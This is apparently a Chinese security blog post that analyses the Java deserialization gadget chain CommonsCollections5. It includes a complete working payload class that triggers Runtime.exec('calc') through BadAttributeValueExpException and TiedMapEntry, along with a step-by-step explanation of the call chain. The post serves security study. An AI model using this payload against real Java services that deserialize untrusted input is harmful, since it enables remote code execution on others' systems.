java反序列化–cc5#

环境:jdk8u65;commons-collections3.2

影响版本:几乎覆盖了jdk1.8所有版本(在未启用jdk.serialFilter的情况下),我目前尝试了jdk8u401是可以执行的

<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.2</version>
</dependency>

payload

package commonscollections3;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CC5 {
    public static void main(String[] args) throws Exception {
        ChainedTransformer Transformerchain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})});
        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,Transformerchain);
        TiedMapEntry tiedmap = new TiedMapEntry(map,123);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc,tiedmap);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
        out.writeObject(poc);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
        in.readObject();
        in.close();
    }
}

cc5和cc6类似,cc6中的TiedMapEntry.getValue()原本是由TiedMapEntry.hashCode()调用的,cc5改为使用TiedMapEntry.toString(),后续直接由BadAttributeValueExpException.readObject()调用。

这里不再赘述TiedMapEntry.getValue()之前的代码,不清楚的师傅可以看之前的文章

https://kiiy.cc/web/javasec/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96-cc6.html

TiedMapEntry.toString()#

跟进toString()方法,发现的确调用了TiedMapEntry.getValue(),接下来寻找谁能够调用TiedMapEntry.toString()即可

image-20250331135205602

BadAttributeValueExpException.readObject()#

该类的readObject方法调用了valObj.toString();,而valObj = gf.get(“val”, null);,是序列化数据中的val字段的值,该字段的值我们可以通过反射控制。

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

payload中通过反射获取BadAttributeValueExpException类val字段,并将其赋值为tiedmap

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

赋值后调用tiedmap.toString(),至此整个调用链结束

gadget

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        TiedMapEntry.getValue()
            LazyMap.get()
                ChainedTransformer.transform()
                    InvokerTransformer.transform()
                        Runtime.exec()